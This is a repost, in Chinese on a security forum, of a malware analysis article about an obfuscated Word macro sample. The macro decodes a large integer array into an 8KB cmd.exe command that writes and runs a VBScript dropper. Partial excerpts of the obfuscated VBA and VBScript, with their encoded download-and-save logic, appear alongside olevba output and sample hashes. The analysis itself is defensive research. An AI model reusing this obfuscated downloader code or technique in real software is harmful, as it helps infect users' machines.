首页
社区
课程
招聘
在恶意软件的宏中插入8KB单个命令行
发表于: 2016-3-1 21:02 1863

在恶意软件的宏中插入8KB单个命令行

2016-3-1 21:02
1863
新闻链接:http://www.freebuf.com/articles/network/97214.html
新闻时间:2016-03-01
新闻正文:
几天前,有人给我了一个奇怪的恶意宏样本,这个样本无法被在线的沙盒和普通工具检测到。
0×01 提取并分析宏

这个vbaProject.bin文件是从Word或者Excel2007+文档(.docm或xlsm)中提取出来的典型的包含宏的OLE文件。使用olevba或者oledump可以很简单的提取出宏的源代码。

olevba 0.42 - http://decalage.info/python/oletools
Flags        Filename                                                         
-----------  -----------------------------------------------------------------
OLE:MAS-HBDV 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, TXT=Text, M=Macros, A=Auto-executable,
S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Dim VoZoOxr6Mn(2034) As Long
Sub ThhoJh8NX()
DVZm8YVrQMiwo = RGB(57, 72, 52)
Join KwTfhyp, 32
BPo78vzethyYE = Cos(10)
Randomize
FreeFile 8
KkqgXNfZvN = Dir("CnK5tkVQz")
Choose 81, D9v2bgkWjrqDrfD0
[...]
If TumGFv7Hqd8 = 0 Then Exit Function
NSNhOVv50b = RGB(77, 46, 66)
Mu4XjE = TumGFv7Hqd8 - 1
JIHddd7uli8P0PIH = RGB(54, 93, 48)
End Function
+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | Document_Open        | Runs when the Word document is opened   |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |

这个确实比较独特:宏的代码相当长,但是被olevba检测出可疑的命令是“shell”。

然而,一个典型的宏在执行它的shell前,需要向文件中写入payload。并且大部分情况下,需要从网上下载payload。

对代码进行分析后,发现也没有多余的命令去下载或者向磁盘中写入文件。

这就意味着,这个宏既没有释放payload从而通过shell命令去执行,也没有从网上下载payload或者其他应用程序/dll文件。

这个代码包含了2034个整型数组:

    Dim VoZoOxr6Mn(2034) As Long

    VoZoOxr6Mn(0) = 432433934

    VoZoOxr6Mn(1) = 350786839

    VoZoOxr6Mn(2) = -931457408

    VoZoOxr6Mn(3) = 1263351013

    VoZoOxr6Mn(4) = -934508713

    VoZoOxr6Mn(5) = -1080386174

    VoZoOxr6Mn(6) = -1982250533

    VoZoOxr6Mn(7) = 643917765

    [...]

    VoZoOxr6Mn(2027) = 1872082481

    VoZoOxr6Mn(2028) = -84289746

    VoZoOxr6Mn(2029) = 228930248

    VoZoOxr6Mn(2030) = -747395805

    VoZoOxr6Mn(2031) = 905736327

    VoZoOxr6Mn(2032) = 684154832

    VoZoOxr6Mn(2033) = 740288

    VoZoOxr6Mn(2034) = 0

更重要的是,一些函数通过解码算法可以将这些数组转化成字符串。并将其结果作为“shell”命令行的命令。

刚开始我尝试手动分析这些代码,分析出是如何将这些数组解码成实际的payload。但是这个太耗费时间了。
0×02 运行宏指令

后来我尝试将宏指令转化成VBScript,然后使用cscript.exe来运行。但是我发现代码使用了大量特殊的VBA解释器,而这些又不被VBScript支持。

于是我只好使用最后一个方法:我将这些宏指令导入Windows平台上一个空的Word文档中,然后将其粘贴至VB editor。



当然在没有被感染的情况下我还是无法执行代码。因此我将shell命令注释掉,用“Selection.TypeText”来替换它,采用相同的字符串变量作为参数,如下所示。这么做将会向Word文档中嵌入文本字符串,而不是执行命令。



在执行完宏之后,神秘的payload就会在word文档中出现:



[中间省略]



因此这个证实了第一个假设:这2034个整型(32bit)数组转化成8KB的字符串,这个字符串就是命令,最后被VBA的shell执行。
0×03 VBScript payload

这些命令调用cmd.exe进程处理一系列长长的双引号字符串。每个字符串作为一行添加到名字为“%appdata%\!TQJZEIfjEY0vjO!.vbs”的文件中。最终,VBScript文件被执行。

为了获得VBScript的代码,将命令拷贝至记事本中,将每个双引号用换行符来代替:

Dim Hn0VG8Jim,VSbjXB1Tb

Sub CFUmNNN5l()
  M00rlg9loD=RGB(83,25,28)
  On Error Resume Next
  GTLwPQK72oc=RGB(56,27,14)
  dim YdhC58CSw,S4xM6Wpkdj6D,W214qCaiT,UmenL52bDf
  TI8WZPiK2i=RGB(75,30,67)
  UmenL52bDf="OQDUQMXOh"
  YCFFjOyYD=RGB(22,52,15)
  YdhC58CSw=SeHoavimVzFK("5D3C0102521B60423F025C055D2C4727061D0E4061562718","O5Hurh4")
  KvUeCMforHxs=RGB(21,30,56)
  Set S4xM6Wpkdj6D=CrEaTeoBJEct(SeHoavimVzFK("1C2D3623222B200E3B7F1C181D050C1B38",UmenL52bDf))
  MIgVQA=RGB(21,18,27)
  S4xM6Wpkdj6D.OPen SeHoavimVzFK("150D2E","GRHzZoXg"),YdhC58CSw,0
  Ugty62w=RGB(77,50,3)
  S4xM6Wpkdj6D.sETreqUESThEadER SeHoavimVzFK("1F16341613","AMwZqvb3btB6P"),SeHoavimVzFK("00094332007C51421A","Abp7Ws")
  HI8mQ5YcSR=RGB(35,89,98)
  S4xM6Wpkdj6D.seNd()
  W8tEI9rZq6HfsXOEj=RGB(12,23,15)
  If S4xM6Wpkdj6D.STatUsText<>SeHoavimVzFK("3C5007260E221B45013B0245103C13","Tl1uRgCweB") Then KNC3TSAdM4WQx4G1
  G5wuCfP7vda=RGB(10,14,76)
End Sub
[...]
Set BFxKNR=CReaTeoBJect(SeHoavimVzFK("102327283762363B0B5D5738",GoOVIULOEKamGtAZ))
EitKzH0Nuwg=RGB(24,75,19)
BFxKNR.OPen
U2OqQ3cjPxXD=RGB(44,89,79)
BFxKNR.TYpE=1
SxuTPuwwZ68O0in=RGB(15,41,61)
BFxKNR.Write CVAWAyYGiQ
EUBn1YwiceF=RGB(14,43,29)
BFxKNR.saveTOFILE Hn0VG8Jim,(0.5 + 807 + 0.5 - 807 + 0.5 + 807 + 0.5 - 807)
IbBRwzqI7UqO9JPb3=RGB(79,82,1)
BFxKNR.clOse
JxtY72rJ2OVT=RGB(22,29,35)
Se21YcvBiRU9OKH6(2)
PjpK6qckc=RGB(96,56,3)
VSbjXB1Tb=Hn0VG8Jim
JPLDZf6lJnt5T=RGB(24,63,45)
Hn0VG8Jim=Hn0VG8Jim & LCpqU9MOnkVtOl & SeHoavimVzFK("621F1515","SLzmp")
YNUoCl5R9=RGB(21,60,82)
Ya5kQ1Uf5rf VSbjXB1Tb,Hn0VG8Jim,SeHoavimVzFK("095B51546B00","Th92eY3Ha")
W1H46j8jP=RGB(46,77,58)
LOSKRvzUGjsz
Dctbq6sdzPJ=RGB(87,23,58)
End Sub

这个VBScript的脚本同样很迷乱,但是现在却比较容易分析。我会在随后的博客中将其转换一下。
0×04 相似的样本

这里使用我之前文章“How to find malware samples containing specific strings”中的自定义搜索引擎方法,就可以查找与宏代码中相似字符串的样本。例如,使用数组名“VoZoOxr6Mn”,我发现两个样本:

     d3e1735b9257ab0a578b375f01303b541786da18b5971d7c146b65886543b666:显示具有相同宏源码,但是没有VBS payload.

     95810b7ed825c4615256b9b72d03c9811c9c602d5bf4a405c2fc2b52d09ce8d9:相同的宏,但是这里存在命令行,VBS payload以及相应的行为分析。

因此采用这种搜索方法,我可以更快的找到相同的结果。
0×05 结论

这个包含宏的神秘文件,通过解码让人迷惑的整型数组来构造8KB的字符串。这个字符串实际上就是启动cmd.exe的命令,随后通过循环的方式一行一行构建VBScript文件,最终执行它。

同时还显示一个宏除了简单的”Shell”命令而不包括任何可疑的关键字,完全可以释放嵌入在宏中的Payload。

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//